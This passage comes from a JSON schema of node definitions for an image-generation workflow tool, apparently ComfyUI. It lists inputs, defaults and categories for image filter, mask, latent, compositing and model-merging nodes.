Frames", "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HypernetworkLoader": {"input": {"required": {"model": ["MODEL", {}], "hypernetwork_name": ["COMBO", {"multiselect": false, "options": []}], "strength": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "hypernetwork_name", "strength"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "HypernetworkLoader", "display_name": "Load Hypernetwork", "description": "", "python_module": "comfy_extras.nodes_hypernetwork", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "UpscaleModelLoader": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": []}]}}, "input_order": {"required": ["model_name"]}, "is_input_list": false, "output": ["UPSCALE_MODEL"], "output_is_list": [false], "output_name": ["UPSCALE_MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "UpscaleModelLoader", "display_name": "Load Upscale Model", "description": "", "python_module": "comfy_extras.nodes_upscale_model", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageUpscaleWithModel": {"input": {"required": {"upscale_model": ["UPSCALE_MODEL", {}], "image": ["IMAGE", {}]}}, "input_order": {"required": ["upscale_model", "image"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageUpscaleWithModel", "display_name": "Upscale Image (using Model)", "description": "", "python_module": "comfy_extras.nodes_upscale_model", "category": "image/upscaling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["upscale", "upscaler", "upsc", "enlarge image", "super resolution", "hires", "superres", "increase resolution"], "essentials_category": null, "has_intermediate_output": false}, "ImageBlend": {"input": {"required": {"image1": ["IMAGE", {}], "image2": ["IMAGE", {}], "blend_factor": ["FLOAT", {"default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "blend_mode": ["COMBO", {"multiselect": false, "options": ["normal", "multiply", "screen", "overlay", "soft_light", "difference"]}]}}, "input_order": {"required": ["image1", "image2", "blend_factor", "blend_mode"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageBlend", "display_name": "Blend Images", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["mix images"], "essentials_category": "Image Tools", "has_intermediate_output": false}, "ImageBlur": {"input": {"required": {"image": ["IMAGE", {}], "blur_radius": ["INT", {"default": 1, "min": 1, "max": 31, "step": 1}], "sigma": ["FLOAT", {"default": 1.0, "min": 0.1, "max": 10.0, "step": 0.1}]}}, "input_order": {"required": ["image", "blur_radius", "sigma"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageBlur", "display_name": "Blur Image", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageQuantize": {"input": {"required": {"image": ["IMAGE", {}], "colors": ["INT", {"default": 256, "min": 1, "max": 256, "step": 1}], "dither": ["COMBO", {"multiselect": false, "options": ["none", "floyd-steinberg", "bayer-2", "bayer-4", "bayer-8", "bayer-16"]}]}}, "input_order": {"required": ["image", "colors", "dither"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageQuantize", "display_name": "Quantize Image", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageSharpen": {"input": {"required": {"image": ["IMAGE", {}], "sharpen_radius": ["INT", {"advanced": true, "default": 1, "min": 1, "max": 31, "step": 1}], "sigma": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.1, "max": 10.0, "step": 0.01}], "alpha": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 5.0, "step": 0.01}]}}, "input_order": {"required": ["image", "sharpen_radius", "sigma", "alpha"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageSharpen", "display_name": "Sharpen Image", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageScaleToTotalPixels": {"input": {"required": {"image": ["IMAGE", {}], "upscale_method": ["COMBO", {"multiselect": false, "options": ["nearest-exact", "bilinear", "area", "bicubic", "lanczos"]}], "megapixels": ["FLOAT", {"default": 1.0, "min": 0.01, "max": 16.0, "step": 0.01}], "resolution_steps": ["INT", {"advanced": true, "default": 1, "min": 1, "max": 256}]}}, "input_order": {"required": ["image", "upscale_method", "megapixels", "resolution_steps"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageScaleToTotalPixels", "display_name": "Scale Image to Total Pixels", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/upscaling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ResizeImageMaskNode": {"input": {"required": {"input": ["COMFY_MATCHTYPE_V3", {"template": {"template_id": "input_type", "allowed_types": "IMAGE,MASK"}}], "resize_type": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Select how to resize: by exact dimensions, scale factor, matching another image, etc.", "options": [{"key": "scale dimensions", "inputs": {"required": {"width": ["INT", {"tooltip": "Target width in pixels. Set to 0 to auto-calculate from height while preserving aspect ratio.", "default": 512, "min": 0, "max": 16384, "step": 1}], "height": ["INT", {"tooltip": "Target height in pixels. Set to 0 to auto-calculate from width while preserving aspect ratio.", "default": 512, "min": 0, "max": 16384, "step": 1}], "crop": ["COMBO", {"tooltip": "How to handle aspect ratio mismatch: 'disabled' stretches to fit, 'center' crops to maintain aspect ratio.", "default": "center", "multiselect": false, "options": ["disabled", "center"]}]}}}, {"key": "scale by multiplier", "inputs": {"required": {"multiplier": ["FLOAT", {"tooltip": "Scale factor (e.g., 2.0 doubles size, 0.5 halves size).", "default": 1.0, "min": 0.01, "max": 8.0, "step": 0.01}]}}}, {"key": "scale longer dimension", "inputs": {"required": {"longer_size": ["INT", {"tooltip": "The longer edge will be resized to this value. Aspect ratio is preserved.", "default": 512, "min": 0, "max": 16384, "step": 1}]}}}, {"key": "scale shorter dimension", "inputs": {"required": {"shorter_size": ["INT", {"tooltip": "The shorter edge will be resized to this value. Aspect ratio is preserved.", "default": 512, "min": 0, "max": 16384, "step": 1}]}}}, {"key": "scale width", "inputs": {"required": {"width": ["INT", {"tooltip": "Target width in pixels. Height auto-adjusts to preserve aspect ratio.", "default": 512, "min": 0, "max": 16384, "step": 1}]}}}, {"key": "scale height", "inputs": {"required": {"height": ["INT", {"tooltip": "Target height in pixels. Width auto-adjusts to preserve aspect ratio.", "default": 512, "min": 0, "max": 16384, "step": 1}]}}}, {"key": "scale total pixels", "inputs": {"required": {"megapixels": ["FLOAT", {"tooltip": "Target total megapixels (e.g., 1.0 \u2248 1024\u00d71024). Aspect ratio is preserved.", "default": 1.0, "min": 0.01, "max": 16.0, "step": 0.01}]}}}, {"key": "match size", "inputs": {"required": {"match": ["IMAGE,MASK", {"tooltip": "Resize input to match the dimensions of this reference image or mask."}], "crop": ["COMBO", {"tooltip": "How to handle aspect ratio mismatch: 'disabled' stretches to fit, 'center' crops to maintain aspect ratio.", "default": "center", "multiselect": false, "options": ["disabled", "center"]}]}}}, {"key": "scale to multiple", "inputs": {"required": {"multiple": ["INT", {"tooltip": "Resize so width and height are divisible by this number. Useful for latent alignment (e.g., 8 or 64).", "default": 8, "min": 1, "max": 16384, "step": 1}]}}}]}], "scale_method": ["COMBO", {"tooltip": "Interpolation algorithm. 'area' is best for downscaling, 'lanczos' for upscaling, 'nearest-exact' for pixel art.", "default": "area", "multiselect": false, "options": ["nearest-exact", "bilinear", "area", "bicubic", "lanczos"]}]}}, "input_order": {"required": ["input", "resize_type", "scale_method"]}, "is_input_list": false, "output": ["COMFY_MATCHTYPE_V3"], "output_is_list": [false], "output_name": ["resized"], "output_tooltips": [null], "output_matchtypes": ["input_type"], "name": "ResizeImageMaskNode", "display_name": "Resize Image/Mask", "description": "Resize an image or mask using various scaling methods.", "python_module": "comfy_extras.nodes_post_processing", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["resize", "resize image", "resize mask", "scale", "scale image", "scale mask", "image resize", "change size", "dimensions", "shrink", "enlarge"], "essentials_category": null, "has_intermediate_output": false}, "BatchImagesNode": {"input": {"required": {"images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "image", "min": 1, "max": 50}}]}}, "input_order": {"required": ["images"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "BatchImagesNode", "display_name": "Batch Images", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["batch", "image batch", "batch images", "combine images", "merge images", "stack images"], "essentials_category": "Image Tools", "has_intermediate_output": false}, "BatchMasksNode": {"input": {"required": {"masks": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"mask": ["MASK", {}]}}, "prefix": "mask", "min": 1, "max": 50}}]}}, "input_order": {"required": ["masks"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "BatchMasksNode", "display_name": "Batch Masks", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["combine masks", "stack masks", "merge masks"], "essentials_category": null, "has_intermediate_output": false}, "BatchLatentsNode": {"input": {"required": {"latents": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"latent": ["LATENT", {}]}}, "prefix": "latent", "min": 1, "max": 50}}]}}, "input_order": {"required": ["latents"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "BatchLatentsNode", "display_name": "Batch Latents", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "model/latent/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["combine latents", "stack latents", "merge latents"], "essentials_category": null, "has_intermediate_output": false}, "ColorTransfer": {"input": {"required": {"image_target": ["IMAGE", {"tooltip": "Image(s) to apply the color transform to."}], "image_ref": ["IMAGE", {"tooltip": "Reference image(s) to match colors to."}], "method": ["COMBO", {"multiselect": false, "options": ["reinhard_lab", "mkl_lab", "histogram"]}], "source_stats": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "per_frame: each frame matched to image_ref individually. uniform: pool stats across all source frames as baseline, match to image_ref. target_frame: use one chosen frame as the baseline for the transform to image_ref, applied uniformly to all frames (preserves relative differences)", "options": [{"key": "per_frame", "inputs": {"required": {}}}, {"key": "uniform", "inputs": {"required": {}}}, {"key": "target_frame", "inputs": {"required": {"target_index": ["INT", {"tooltip": "Frame index used as the source baseline for computing the transform to image_ref", "default": 0, "min": 0, "max": 10000}]}}}]}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["image_target", "image_ref", "method", "source_stats", "strength"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["image"], "output_tooltips": [null], "output_matchtypes": null, "name": "ColorTransfer", "display_name": "Transfer Color", "description": "Match the colors of one image to another using various algorithms.", "python_module": "comfy_extras.nodes_post_processing", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["color match", "color grading", "color correction", "match colors", "color transform", "mkl", "reinhard", "histogram"], "essentials_category": null, "has_intermediate_output": false}, "LatentCompositeMasked": {"input": {"required": {"destination": ["LATENT", {}], "source": ["LATENT", {}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "resize_source": ["BOOLEAN", {"default": false}]}, "optional": {"mask": ["MASK", {}]}}, "input_order": {"required": ["destination", "source", "x", "y", "resize_source"], "optional": ["mask"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentCompositeMasked", "display_name": "Latent Composite Masked", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "model/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["overlay latent", "layer latent", "paste latent", "inpaint latent"], "essentials_category": null, "has_intermediate_output": false}, "ImageCompositeMasked": {"input": {"required": {"destination": ["IMAGE", {}], "source": ["IMAGE", {}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "resize_source": ["BOOLEAN", {"default": false}]}, "optional": {"mask": ["MASK", {}]}}, "input_order": {"required": ["destination", "source", "x", "y", "resize_source"], "optional": ["mask"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageCompositeMasked", "display_name": "Image Composite Masked", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/compositing", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["overlay", "layer", "paste image", "images composition"], "essentials_category": null, "has_intermediate_output": false}, "MaskToImage": {"input": {"required": {"mask": ["MASK", {}]}}, "input_order": {"required": ["mask"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MaskToImage", "display_name": "Convert Mask to Image", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["convert mask"], "essentials_category": null, "has_intermediate_output": false}, "ImageToMask": {"input": {"required": {"image": ["IMAGE", {}], "channel": ["COMBO", {"multiselect": false, "options": ["red", "green", "blue", "alpha"]}]}}, "input_order": {"required": ["image", "channel"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageToMask", "display_name": "Convert Image to Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["extract channel", "channel to mask"], "essentials_category": null, "has_intermediate_output": false}, "ImageColorToMask": {"input": {"required": {"image": ["IMAGE", {}], "color": ["INT", {"default": 0, "min": 0, "max": 16777215, "step": 1, "display": "number"}]}}, "input_order": {"required": ["image", "color"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageColorToMask", "display_name": "Convert Image Color to Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["color keying", "chroma key"], "essentials_category": null, "has_intermediate_output": false}, "SolidMask": {"input": {"required": {"value": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "width": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "height": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}]}}, "input_order": {"required": ["value", "width", "height"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "SolidMask", "display_name": "Create Solid Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "InvertMask": {"input": {"required": {"mask": ["MASK", {}]}}, "input_order": {"required": ["mask"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "InvertMask", "display_name": "Invert Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["reverse mask", "flip mask"], "essentials_category": null, "has_intermediate_output": false}, "CropMask": {"input": {"required": {"mask": ["MASK", {}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "width": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "height": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}]}}, "input_order": {"required": ["mask", "x", "y", "width", "height"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "CropMask", "display_name": "Crop Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["cut mask", "extract mask region", "mask slice"], "essentials_category": null, "has_intermediate_output": false}, "MaskComposite": {"input": {"required": {"destination": ["MASK", {}], "source": ["MASK", {}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "operation": ["COMBO", {"multiselect": false, "options": ["multiply", "add", "subtract", "and", "or", "xor"]}]}}, "input_order": {"required": ["destination", "source", "x", "y", "operation"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "MaskComposite", "display_name": "Combine Masks", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["combine masks", "blend masks", "layer masks", "masks composition"], "essentials_category": null, "has_intermediate_output": false}, "FeatherMask": {"input": {"required": {"mask": ["MASK", {}], "left": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "top": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "right": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "bottom": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}]}}, "input_order": {"required": ["mask", "left", "top", "right", "bottom"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "FeatherMask", "display_name": "Feather Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["soft edge mask", "blur mask edges", "gradient mask edge"], "essentials_category": null, "has_intermediate_output": false}, "GrowMask": {"input": {"required": {"mask": ["MASK", {}], "expand": ["INT", {"default": 0, "min": -16384, "max": 16384, "step": 1}], "tapered_corners": ["BOOLEAN", {"advanced": true, "default": true}]}}, "input_order": {"required": ["mask", "expand", "tapered_corners"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrowMask", "display_name": "Grow Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["expand mask", "shrink mask"], "essentials_category": null, "has_intermediate_output": false}, "ThresholdMask": {"input": {"required": {"mask": ["MASK", {}], "value": ["FLOAT", {"default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["mask", "value"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "ThresholdMask", "display_name": "Threshold Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["binary mask"], "essentials_category": null, "has_intermediate_output": false}, "MaskPreview": {"input": {"required": {"mask": ["MASK", {}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["mask"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "MaskPreview", "display_name": "Preview Mask", "description": "Saves the input images to your ComfyUI output directory.", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["show mask", "view mask", "inspect mask", "debug mask"], "essentials_category": null, "has_intermediate_output": false}, "PorterDuffImageComposite": {"input": {"required": {"source": ["IMAGE", {}], "source_alpha": ["MASK", {}], "destination": ["IMAGE", {}], "destination_alpha": ["MASK", {}], "mode": ["COMBO", {"default": "DST", "multiselect": false, "options": ["ADD", "CLEAR", "DARKEN", "DST", "DST_ATOP", "DST_IN", "DST_OUT", "DST_OVER", "LIGHTEN", "MULTIPLY", "OVERLAY", "SCREEN", "SRC", "SRC_ATOP", "SRC_IN", "SRC_OUT", "SRC_OVER", "XOR"]}]}}, "input_order": {"required": ["source", "source_alpha", "destination", "destination_alpha", "mode"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "PorterDuffImageComposite", "display_name": "Porter-Duff Image Composite", "description": "", "python_module": "comfy_extras.nodes_compositing", "category": "image/compositing", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["alpha composite", "blend modes", "layer blend", "transparency blend"], "essentials_category": null, "has_intermediate_output": false}, "SplitImageWithAlpha": {"input": {"required": {"image": ["IMAGE", {}]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SplitImageWithAlpha", "display_name": "Split Image with Alpha", "description": "", "python_module": "comfy_extras.nodes_compositing", "category": "image/compositing", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["extract alpha", "separate transparency", "remove alpha"], "essentials_category": null, "has_intermediate_output": false}, "JoinImageWithAlpha": {"input": {"required": {"image": ["IMAGE", {}], "alpha": ["MASK", {}]}}, "input_order": {"required": ["image", "alpha"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "JoinImageWithAlpha", "display_name": "Join Image with Alpha", "description": "", "python_module": "comfy_extras.nodes_compositing", "category": "image/compositing", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["add transparency", "apply alpha", "composite alpha", "RGBA"], "essentials_category": null, "has_intermediate_output": false}, "RebatchLatents": {"input": {"required": {"latents": ["LATENT", {}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["latents", "batch_size"]}, "is_input_list": true, "output": ["LATENT"], "output_is_list": [true], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "RebatchLatents", "display_name": "Rebatch Latents", "description": "", "python_module": "comfy_extras.nodes_rebatch", "category": "model/latent/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RebatchImages": {"input": {"required": {"images": ["IMAGE", {}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["images", "batch_size"]}, "is_input_list": true, "output": ["IMAGE"], "output_is_list": [true], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RebatchImages", "display_name": "Rebatch Images", "description": "", "python_module": "comfy_extras.nodes_rebatch", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ModelMergeSimple": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "ratio": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "ratio"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSimple", "display_name": "ModelMergeSimple", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeBlocks": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "input": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "out": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "input", "middle", "out"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeBlocks", "display_name": "ModelMergeBlocks", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeSubtract": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "multiplier": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "multiplier"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSubtract", "display_name": "ModelMergeSubtract", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeAdd": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"]}}, "input_order": {"required": ["model1", "model2"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeAdd", "display_name": "ModelMergeAdd", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "CheckpointSave": {"input": {"required": {"model": ["MODEL"], "clip": ["CLIP"], "vae": ["VAE"], "filename_prefix": ["STRING", {"default": "checkpoints/ComfyUI"}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["model", "clip", "vae", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "name": "CheckpointSave", "display_name": "Save Checkpoint", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": true, "has_intermediate_output": false, "search_aliases": ["save model", "export checkpoint", "merge save"]}, "CLIPMergeSimple": {"input": {"required": {"clip1": ["CLIP"], "clip2": ["CLIP"], "ratio": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["clip1", "clip2", "ratio"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "CLIPMergeSimple", "display_name": "CLIPMergeSimple", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "CLIPMergeSubtract": {"input": {"required": {"clip1": ["CLIP"], "clip2": ["CLIP"], "multiplier": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["clip1", "clip2", "multiplier"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "CLIPMergeSubtract", "display_name": "CLIPMergeSubtract", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": ["clip difference", "text encoder subtract"]}, "CLIPMergeAdd": {"input": {"required": {"clip1": ["CLIP"], 